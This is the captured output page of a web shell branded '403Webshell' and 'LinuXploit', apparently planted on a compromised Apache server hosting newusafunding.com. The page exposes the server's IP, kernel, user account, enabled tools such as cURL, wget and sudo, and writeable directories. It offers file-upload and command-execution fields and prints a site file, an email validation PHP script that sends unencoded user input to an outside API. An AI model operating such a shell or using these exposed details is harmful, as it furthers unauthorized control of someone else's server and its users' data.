403Webshell
Server IP : 10.200.247.200  /  Your IP : 216.73.217.19
Web Server : Apache
System : Linux synergy-usa-sites 6.8.0-138-generic #138-Ubuntu SMP PREEMPT_DYNAMIC Fri Jul 31 22:41:49 UTC 2026 x86_64
User : jeremy ( 1001)
PHP Version : 8.4.25
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/usa_sites/newusafunding.com/vx/lib/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/usa_sites/newusafunding.com/vx/lib/email_validation.php
<?php
	function validate_email($email) {
		$response = file_get_contents('https://surfcrm.com/lcapi/EmailValidator.php?email='.$email);
		if(!empty($response)) {
			$json = json_decode($response);
			//echo '<pre>'.print_r($json,true).'</pre>';
			if(!empty($json->did_you_mean)) {
				return 'did_you_mean'.$json->did_you_mean;
			} elseif($json->result=='undeliverable') {
				return 'bad_domain';
			}
		}
		return 'success';
		/*if(!filter_var($email, FILTER_VALIDATE_EMAIL)) {
			return 'bad_format';
		}
		$arr = explode('@',$email);
		if(!checkdnsrr($arr[1], 'MX')) {
			return 'bad_domain';
		}
		return 'success';*/
	}
	$return = array();
	$return['status'] = 'success';
	$return['error'] = '';
	$return['replacement'] = '';
	if(!empty($_REQUEST['email'])) {
		$response = validate_email($_REQUEST['email']);
		if(strpos($response,'did_you_mean')!==false) {
			$return['status'] = 'fail';
			$return['error'] = 'Your email doesn\'t appear valid.';
			$return['replacement'] = substr($response,12);
		} else {
			if($response=='bad_format') {
				$return['status'] = 'fail';
				$return['error'] = 'Your email is not a valid format';
			} elseif($response=='bad_domain') {
				$return['status'] = 'fail';
				$return['error'] = 'It looks like you might have a typo in your email.';
			}
		}
	}
	echo json_encode($return);
?>

Youez - 2016 - github.com/yon3zu
LinuXploit